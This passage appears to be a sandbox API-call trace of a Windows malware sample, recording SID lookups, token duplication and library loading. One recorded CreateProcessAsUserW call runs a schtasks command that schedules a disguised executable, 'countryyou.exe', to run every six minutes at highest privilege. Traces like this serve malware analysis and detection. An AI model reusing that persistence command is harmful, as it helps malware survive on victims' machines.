_Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0073.300] malloc (_Size=0x18) returned 0xef020 [0073.300] malloc (_Size=0x18) returned 0xeef20 [0073.300] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0073.300] SysStringLen (param_1="-") returned 0x1 [0073.300] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0073.300] memcpy (in: _Dst=0x3382ee, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0073.300] free (_Block=0xeef00) [0073.300] free (_Block=0xef020) [0073.300] malloc (_Size=0x18) returned 0xef020 [0073.300] malloc (_Size=0x18) returned 0xeef00 [0073.300] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0073.300] SysStringLen (param_1="4223814209") returned 0xa [0073.300] memcpy (in: _Dst=0x327668, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0073.300] memcpy (in: _Dst=0x327690, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0073.300] free (_Block=0xeef20) [0073.300] free (_Block=0xef020) [0073.300] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0073.300] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0073.300] malloc (_Size=0x18) returned 0xef020 [0073.300] malloc (_Size=0x18) returned 0xeef20 [0073.300] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0073.300] SysStringLen (param_1="-") returned 0x1 [0073.300] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0073.301] memcpy (in: _Dst=0x34d994, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0073.301] free (_Block=0xeef00) [0073.301] free (_Block=0xef020) [0073.301] malloc (_Size=0x18) returned 0xef020 [0073.301] malloc (_Size=0x18) returned 0xeef00 [0073.301] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0073.301] SysStringLen (param_1="3835049652") returned 0xa [0073.301] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0073.301] memcpy (in: _Dst=0x3276a6, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0073.301] free (_Block=0xeef20) [0073.301] free (_Block=0xef020) [0073.301] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0073.301] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0073.301] malloc (_Size=0x18) returned 0xef020 [0073.301] malloc (_Size=0x18) returned 0xeef20 [0073.301] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0073.301] SysStringLen (param_1="-") returned 0x1 [0073.301] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0073.301] memcpy (in: _Dst=0x34d9aa, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0073.301] free (_Block=0xeef00) [0073.301] free (_Block=0xef020) [0073.301] malloc (_Size=0x18) returned 0xef020 [0073.302] malloc (_Size=0x18) returned 0xeef00 [0073.302] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0073.302] SysStringLen (param_1="1000") returned 0x4 [0073.302] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0073.302] memcpy (in: _Dst=0x3276bc, _Src=0x3812f8, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0073.302] free (_Block=0xeef20) [0073.302] free (_Block=0xef020) [0073.302] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0073.302] malloc (_Size=0x5e) returned 0xf0800 [0073.302] free (_Block=0xeef00) [0073.302] malloc (_Size=0x18) returned 0xeef00 [0073.302] free (_Block=0xf0800) [0073.303] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0073.303] GetLastError () returned 0x7a [0073.303] malloc (_Size=0x14) returned 0xef020 [0073.303] malloc (_Size=0x16) returned 0xeef20 [0073.303] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0073.304] malloc (_Size=0x18) returned 0xef0a0 [0073.304] malloc (_Size=0x18) returned 0xeef60 [0073.304] free (_Block=0xef020) [0073.304] free (_Block=0xeef20) [0073.304] free (_Block=0xeff00) [0073.304] free (_Block=0xeef60) [0073.304] free (_Block=0xef0a0) [0073.304] free (_Block=0xeef00) [0073.305] free (_Block=0xee240) [0073.305] malloc (_Size=0x48) returned 0xed270 [0073.305] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0073.322] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0073.322] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0073.322] malloc (_Size=0x18) returned 0xeef00 [0073.322] CreateEnvironmentBlock () returned 0x1 [0073.327] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0073.327] malloc (_Size=0x18) returned 0xef0a0 [0073.327] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"countryyouc\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"countryyouc\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0x718, dwThreadId=0x3c0)) returned 1 [0073.333] CloseHandle (hObject=0x2f8) returned 1 [0073.333] CloseHandle (hObject=0x2fc) returned 1 [0073.333] free (_Block=0xef0a0) [0073.333] DestroyEnvironmentBlock () returned 0x1 [0073.333] malloc (_Size=0x48) returned 0xed400 [0073.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x54ae0d40, dwHighDateTime=0x1d9eb0c)) [0073.333] SetEvent (hEvent=0x1f0) returned 1 [0073.333] CloseHandle (hObject=0x238) returned 1 [0073.333] CloseHandle (hObject=0x248) returned 1 [0073.501] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0073.501] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0073.501] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0073.952] SetLastError (dwErrCode=0x0) [0073.952] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0073.952] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0073.952] SetLastError (dwErrCode=0x0) [0073.952] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0073.953] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0073.953] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0073.953] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0073.953] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0073.953] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0073.955] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0073.956] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0073.956] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0073.956] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0073.956] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0073.956] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0073.956] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0073.958] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0073.958] GetCurrentThread () returned 0xfffffffffffffffe [0073.958] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x248) returned 1 [0073.959] malloc (_Size=0xd8) returned 0xf4740 [0073.959] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0073.959] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0073.959] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0073.960] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0073.960] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0073.960] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0073.960] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0073.960] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0073.960] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0073.961] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0073.961] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0073.961] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0073.961] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0073.961] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0073.962] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0073.962] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0073.962] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0073.962] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0073.963] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0073.963] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0073.963] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0073.963] malloc (_Size=0x18) returned 0xef040 [0073.963] DuplicateTokenEx (in: hExistingToken=0x248, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x238) returned 1 [0073.963] malloc (_Size=0x48) returned 0xed2c0 [0073.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x550d4440, dwHighDateTime=0x1d9eb0c)) [0073.963] SetEvent (hEvent=0x1f0) returned 1 [0073.970] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0073.970] GetLastError () returned 0x7a [0073.970] malloc (_Size=0x2c) returned 0xee200 [0073.970] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0073.970] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0073.970] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0073.970] malloc (_Size=0x1c) returned 0xeff60 [0073.970] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0073.970] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0073.970] malloc (_Size=0x18) returned 0xef040 [0073.970] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0073.970] malloc (_Size=0x18) returned 0xeef00 [0073.970] malloc (_Size=0x18) returned 0xef0a0 [0073.970] SysStringLen (param_1="S-1-") returned 0x4 [0073.970] SysStringLen (param_1="5") returned 0x1 [0073.971] memcpy (in: _Dst=0x381298, _Src=0x3811a8, _Size=0xa | out: _Dst=0x381298) returned 0x381298 [0073.971] memcpy (in: _Dst=0x3812a0, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a0) returned 0x3812a0 [0073.971] free (_Block=0xef040) [0073.971] free (_Block=0xeef00) [0073.971] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0073.971] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0073.971] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0073.971] malloc (_Size=0x18) returned 0xeef00 [0073.971] malloc (_Size=0x18) returned 0xef040 [0073.971] SysStringLen (param_1="S-1-5") returned 0x5 [0073.971] SysStringLen (param_1="-") returned 0x1 [0073.971] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xc | out: _Dst=0x381238) returned 0x381238 [0073.971] memcpy (in: _Dst=0x381242, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381242) returned 0x381242 [0073.971] free (_Block=0xef0a0) [0073.971] free (_Block=0xeef00) [0073.971] malloc (_Size=0x18) returned 0xeef00 [0073.971] malloc (_Size=0x18) returned 0xef0a0 [0073.971] SysStringLen (param_1="S-1-5-") returned 0x6 [0073.972] SysStringLen (param_1="21") returned 0x2 [0073.972] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xe | out: _Dst=0x3811a8) returned 0x3811a8 [0073.972] memcpy (in: _Dst=0x3811b4, _Src=0x381298, _Size=0x6 | out: _Dst=0x3811b4) returned 0x3811b4 [0073.972] free (_Block=0xef040) [0073.972] free (_Block=0xeef00) [0073.972] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0073.972] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0073.972] malloc (_Size=0x18) returned 0xeef00 [0073.972] malloc (_Size=0x18) returned 0xef040 [0073.972] SysStringLen (param_1="S-1-5-21") returned 0x8 [0073.972] SysStringLen (param_1="-") returned 0x1 [0073.972] memcpy (in: _Dst=0x381298, _Src=0x3811a8, _Size=0x12 | out: _Dst=0x381298) returned 0x381298 [0073.972] memcpy (in: _Dst=0x3812a8, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a8) returned 0x3812a8 [0073.972] free (_Block=0xef0a0) [0073.972] free (_Block=0xeef00) [0073.972] malloc (_Size=0x18) returned 0xeef00 [0073.972] malloc (_Size=0x18) returned 0xef0a0 [0073.972] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0073.973] SysStringLen (param_1="4219442223") returned 0xa [0073.973] memcpy (in: _Dst=0x337aa8, _Src=0x381298, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0073.973] memcpy (in: _Dst=0x337aba, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0073.973] free (_Block=0xef040) [0073.973] free (_Block=0xeef00) [0073.973] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0073.973] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0073.973] malloc (_Size=0x18) returned 0xeef00 [0073.973] malloc (_Size=0x18) returned 0xef040 [0073.973] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0073.973] SysStringLen (param_1="-") returned 0x1 [0073.973] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0073.973] memcpy (in: _Dst=0x337b1e, _Src=0x381298, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0073.973] free (_Block=0xef0a0) [0073.973] free (_Block=0xeef00) [0073.973] malloc (_Size=0x18) returned 0xeef00 [0073.973] malloc (_Size=0x18) returned 0xef0a0 [0073.973] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0073.973] SysStringLen (param_1="4223814209") returned 0xa [0073.974] memcpy (in: _Dst=0x34da68, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0073.974] memcpy (in: _Dst=0x34da90, _Src=0x381298, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0073.974] free (_Block=0xef040) [0073.974] free (_Block=0xeef00) [0073.974] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0073.974] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0073.974] malloc (_Size=0x18) returned 0xeef00 [0073.974] malloc (_Size=0x18) returned 0xef040 [0073.974] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0073.974] SysStringLen (param_1="-") returned 0x1 [0073.974] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0073.974] memcpy (in: _Dst=0x34dbb4, _Src=0x381298, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0073.974] free (_Block=0xef0a0) [0073.974] free (_Block=0xeef00) [0073.974] malloc (_Size=0x18) returned 0xeef00 [0073.974] malloc (_Size=0x18) returned 0xef0a0 [0073.974] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0073.974] SysStringLen (param_1="3835049652") returned 0xa [0073.975] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0073.975] memcpy (in: _Dst=0x34daa6, _Src=0x381298, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0073.975] free (_Block=0xef040) [0073.975] free (_Block=0xeef00) [0073.975] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0073.975] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0073.975] malloc (_Size=0x18) returned 0xeef00 [0073.975] malloc (_Size=0x18) returned 0xef040 [0073.975] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0073.975] SysStringLen (param_1="-") returned 0x1 [0073.975] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0073.975] memcpy (in: _Dst=0x34dbca, _Src=0x381298, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0073.975] free (_Block=0xef0a0) [0073.975] free (_Block=0xeef00) [0073.975] malloc (_Size=0x18) returned 0xeef00 [0073.975] malloc (_Size=0x18) returned 0xef0a0 [0073.975] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0073.975] SysStringLen (param_1="1000") returned 0x4 [0073.976] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0073.976] memcpy (in: _Dst=0x34dabc, _Src=0x381298, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0073.976] free (_Block=0xef040) [0073.976] free (_Block=0xeef00) [0073.976] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0073.976] malloc (_Size=0x5e) returned 0xf0800 [0073.976] free (_Block=0xef0a0) [0073.976] malloc (_Size=0x18) returned 0xef0a0 [0073.977] free (_Block=0xf0800) [0073.977] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0073.978] GetLastError () returned 0x7a [0073.978] malloc (_Size=0x14) returned 0xeef00 [0073.978] malloc (_Size=0x16) returned 0xef040 [0073.978] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0073.979] malloc (_Size=0x18) returned 0xeef60 [0073.979] malloc (_Size=0x18) returned 0xeef20 [0073.979] free (_Block=0xeef00) [0073.979] free (_Block=0xef040) [0073.979] free (_Block=0xeff60) [0073.979] free (_Block=0xeef20) [0073.979] free (_Block=0xeef60) [0073.979] free (_Block=0xef0a0) [0073.980] free (_Block=0xee200) [0073.980] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0073.980] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0073.980] GetLastError () returned 0x7a [0073.980] malloc (_Size=0x2c) returned 0xee240 [0073.980] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0073.980] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0073.980] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 